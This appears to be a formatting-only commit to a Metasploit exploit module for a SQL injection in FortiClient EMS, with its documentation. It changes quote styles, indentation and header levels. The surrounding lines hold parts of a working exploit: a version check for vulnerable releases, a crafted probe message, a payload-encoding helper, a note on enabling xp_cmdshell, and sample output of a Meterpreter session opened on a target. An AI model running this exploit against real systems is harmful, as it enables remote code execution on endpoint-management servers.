Formatting

Author: jheysel-r7

documentation/modules/exploit/windows/http/forticlient_ems_fctid_sqli.md

@@ -167,7 +167,7 @@ Meterpreter     : x64/windows
 meterpreter >
 ```
 
-# FortiClientEndpointManagementServer_7.2.2.0879_x64.exe running on Windows Server 2019 (Domain Controller)
+### FortiClientEndpointManagementServer_7.2.2.0879_x64.exe running on Windows Server 2019 (Domain Controller)
 ```
 msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set rhosts 172.16.199.200
 rhosts => 172.16.199.200
@@ -266,4 +266,4 @@ Domain          : KERBEROS
 Logged On Users : 9
 Meterpreter     : x64/windows
 meterpreter >
-```
+```

modules/exploits/windows/http/forticlient_ems_fctid_sqli.rb

@@ -72,7 +72,7 @@ def initialize(info = {})
 
   def get_register_info
     if @version >= Rex::Version.new('7.2')
-      vprint_status("Returning SYSINFO for 7.2 target")
+      vprint_status('Returning SYSINFO for 7.2 target')
       register_info = <<~REGISTER_INFO
         FCTOS=WIN64
         OSVER=Microsoft Windows 10 Professional Edition, 64-bit (build 19045)
@@ -123,7 +123,7 @@ def get_register_info
         EP_APPCTRLCHKSUM=0
       REGISTER_INFO
     else
-      vprint_status("Returning SYSINFO for 7.0 target")
+      vprint_status('Returning SYSINFO for 7.0 target')
       register_info = <<~REGISTER_INFO
         AVSIG_VER=1.00000
         REG_KEY=_
@@ -176,7 +176,7 @@ def get_register_info
     Rex::Text.encode_base64(register_info)
   end
 
-    def get_version
+  def get_version
     message = "MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD\n"
     message << "SIZE=    {SIZE_PLACEHOLDER}\n"
     message << "X-FCCK-PROBE: PROBE_FEATURE_BITMAP0|1|\n"
@@ -193,9 +193,9 @@ def get_version
     # 7.0.7:
     # FGT|FCTEMS0000125975:dc2.kerberos.issue|FEATURE_BITMAP|7|EMSVER|7000007|
     if buf =~ /EMSVER\|(\d{2})(\d{2})(\d{3})\|/
-      major = ($1.to_i / 10)
-      minor = $2.to_i
-      patch = $3.to_i
+      major = (::Regexp.last_match(1).to_i / 10)
+      minor = ::Regexp.last_match(2).to_i
+      patch = ::Regexp.last_match(3).to_i
       return Rex::Version.new("#{major}.#{minor}.#{patch}")
     end
     nil
@@ -222,7 +222,6 @@ def get_message(sqli)
   end
 
   def send_message(message)
-
     vprint_status("Sending the following message:\n #{message}")
 
     buf = ''
@@ -240,21 +239,20 @@ def send_message(message)
   end
 
   def check
-
     @version = get_version
     return CheckCode::Unknown("#{peer} - Version info was unable to be extracted from the target. FmcDaemon.exe might not be running.") unless @version
 
     if @version.between?(Rex::Version.new('7.2.0'), Rex::Version.new('7.2.2')) || @version.between?(Rex::Version.new('7.0.1'), Rex::Version.new('7.0.10'))
       return CheckCode::Appears("Version detected: #{@version}")
     end
+
     CheckCode::Safe("Version detected: #{@version}")
   end
 
   def fully_url_encode(string)
     string.chars.map { |char| '%' + char.ord.to_s(16).upcase }.join
   end
 
-
   def exploit
     # Things to note:
     # 1. xp_cmdshell is disabled by default so we must enable it.